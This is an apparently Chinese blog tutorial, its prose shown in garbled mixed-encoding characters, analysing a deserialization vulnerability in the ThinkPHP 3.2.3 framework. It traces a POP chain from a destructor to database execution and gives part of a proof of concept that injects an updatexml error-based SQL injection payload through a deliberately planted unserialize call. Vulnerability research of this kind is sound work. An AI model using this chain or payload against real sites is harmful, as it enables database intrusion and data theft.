Thinkphp3.2.3反序列化漏洞實(shí)例分析
目錄
- 前言
- 魔術(shù)方法
- 復(fù)現(xiàn)
- 結(jié)語
前言
ThinkPHP,是為了簡(jiǎn)化企業(yè)級(jí)應(yīng)用開發(fā)和敏捷WEB應(yīng)用開發(fā)而誕生的開源輕量級(jí)PHP框架。隨著框架代碼量的增加,一些潛在的威脅也逐漸暴露,本文給大家?guī)淼氖菍?duì)Thinkphp3.2.3版本框架里面的反序列化漏洞進(jìn)行分析,淺談原理以及如何應(yīng)用。
魔術(shù)方法
因?yàn)橹耙呀?jīng)講過了,這里就簡(jiǎn)單提一下,以下面這個(gè)魔術(shù)方法為例:
_destruct
該方法的作用是,某個(gè)對(duì)象的所有引用都被刪除或者當(dāng)對(duì)象被顯式銷毀時(shí)執(zhí)行。例如下面代碼:
<?phpclass User{ public function __destruct() {echo "xino</br>"; }}$test = new User();$ser = serialize($test);unserialize($ser);?>
執(zhí)行后會(huì)發(fā)現(xiàn)調(diào)用了魔術(shù)方法,我們要想辦法來尋找代碼之間的關(guān)系來構(gòu)造 反序列化鏈,常見魔術(shù)方法如下:
了解完魔術(shù)方法如何觸發(fā)后便開始我們TP3反序列化漏洞的學(xué)習(xí)之旅。
復(fù)現(xiàn)
這里我是用小皮面板搭建好環(huán)境后開始我們的分析,下面是主界面:
需要在控制器IndexController.class.php
處寫入:
public function index(){ unserialize(base64_decode($_GET[1]));}
首先走到Library/Think/Image/Driver/Imagick.class.php
,代碼如下:
public function __destruct() {empty($this->img) || $this->img->destroy(); }}
這里有一個(gè)可控的變量img,因?yàn)樵撟兞孔呦蛄薲estory(),于是我們尋找一下:
Library/Think/Session/Driver/Memcache.class.php
,該處有個(gè)一樣的方法:
public function destroy($sessID) {return $this->handle->delete($this->sessionName . $sessID); }
我們會(huì)發(fā)現(xiàn)handle和sessionName參數(shù)是可控,因?yàn)樽呦蛄薲elete函數(shù),于是繼續(xù)跟進(jìn)尋找delete,在Mode/Lite/Model.class.php
處:
public function delete($options = array()) {$pk = $this->getPk();if (empty($options) && empty($this->options["where"])) { // 如果刪除條件為空 則刪除當(dāng)前數(shù)據(jù)對(duì)象所對(duì)應(yīng)的記錄 if (!empty($this->data) && isset($this->data[$pk])) {return $this->delete($this->data[$pk]); } else {return false; }}if (is_numeric($options) || is_string($options)) { // 根據(jù)主鍵刪除記錄 if (strpos($options, ",")) {$where[$pk] = array("IN", $options); } else {$where[$pk] = $options; } $options = array(); $options["where"] = $where;}// 根據(jù)復(fù)合主鍵刪除記錄if (is_array($options) && (count($options) > 0) && is_array($pk)) { $count = 0; foreach (array_keys($options) as $key) {if (is_int($key)) { $count++;} } if (count($pk) == $count) {$i = 0;foreach ($pk as $field) { $where[$field] = $options[$i]; unset($options[$i++]);}$options["where"] = $where; } else {return false; }}// 分析表達(dá)式$options = $this->_parseOptions($options);if (empty($options["where"])) { // 如果條件為空 不進(jìn)行刪除操作 除非設(shè)置 1=1 return false;}if (is_array($options["where"]) && isset($options["where"][$pk])) { $pkValue = $options["where"][$pk];}if (false === $this->_before_delete($options)) { return false;}$result = $this->db->delete($options); //數(shù)據(jù)庫驅(qū)動(dòng)類中的delete()if (false !== $result && is_numeric($result)) { $data = array(); if (isset($pkValue)) {$data[$pk] = $pkValue; } $this->_after_delete($data, $options);}// 返回刪除記錄個(gè)數(shù)return $result; }
這里比較復(fù)雜,需要分析一下,pk,pk,pk,data,$options參數(shù)都是可控的,第二次調(diào)用該函數(shù)后是調(diào)用db(Library/Think/Db/Driver.class.php
)里面的函數(shù),進(jìn)去看一下:
$table = $this->parseTable($options["table"]);$sql = "DELETE FROM " . $table;return $this->execute($sql, !empty($options["fetch_sql"]) ? true : false);
這里只貼了比較關(guān)鍵的代碼,看到table經(jīng)過parseTable處理之后進(jìn)了sql語句,跟進(jìn)了發(fā)現(xiàn)沒有過濾什么,直接返回了數(shù)據(jù),最后調(diào)用了execute,我們分析其代碼:
public function execute($str,$fetchSql=false) {$this->initConnect(true);if ( !$this->_linkID ) return false;$this->queryStr = $str;if(!empty($this->bind)){ $that = $this; $this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return """.$that->escapeString($val)."""; },$this->bind));}if($fetchSql){ return $this->queryStr;}
看到第二行是一個(gè)初始化連接的代碼,我們跟進(jìn)到最后發(fā)現(xiàn):
public function connect($config = "", $linkNum = 0, $autoConnection = false) {if (!isset($this->linkID[$linkNum])) { if (empty($config)) {$config = $this->config; } try {if (empty($config["dsn"])) { $config["dsn"] = $this->parseDsn($config);}if (version_compare(PHP_VERSION, "5.3.6", "<=")) { // 禁用模擬預(yù)處理語句 $this->options[PDO::ATTR_EMULATE_PREPARES] = false;}$this->linkID[$linkNum] = new PDO($config["dsn"], $config["username"], $config["password"], $this->options); } catch (\PDOException $e) {if ($autoConnection) { trace($e->getMessage(), "", "ERR"); return $this->connect($autoConnection, $linkNum);} elseif ($config["debug"]) { E($e->getMessage());} }}return $this->linkID[$linkNum]; }
可以通過里面的相應(yīng)代碼:
$this->config
建立數(shù)據(jù)庫連接,整個(gè)的POP鏈跟進(jìn)順序如下:
__destruct()->destroy()->delete()->Driver::delete()->Driver::execute()->Driver::initConnect()->Driver::connect()->
因?yàn)闃?gòu)造poc較長(zhǎng),這里只貼關(guān)鍵處,有興趣的小伙伴可以自行去構(gòu)造:
public function __construct(){ $this->db = new Mysql(); $this->options["where"] = ""; $this->pk = "id"; $this->data[$this->pk] = array("table" => "name where 1=updatexml(1,user(),1)#","where" => "1=1" ); }
生成后傳入payload即可實(shí)現(xiàn)錯(cuò)報(bào)注入,體現(xiàn)在payload里就是table這個(gè)語句,經(jīng)過一串的操作使之與數(shù)據(jù)庫連接來執(zhí)行sql語句:
結(jié)語
給大家?guī)砹藅p3的反序列化漏洞分析,主要還是要理清各個(gè)鏈的關(guān)系以及如何讓它們聯(lián)系起來,有興趣的小伙伴可以自己去搭建嘗試,喜歡本文的小伙伴希望可以一鍵三連支持一下。
以上就是Thinkphp3.2.3反序列化漏洞實(shí)例分析的詳細(xì)內(nèi)容,更多關(guān)于Thinkphp 反序列化漏洞的資料請(qǐng)關(guān)注其它相關(guān)文章!
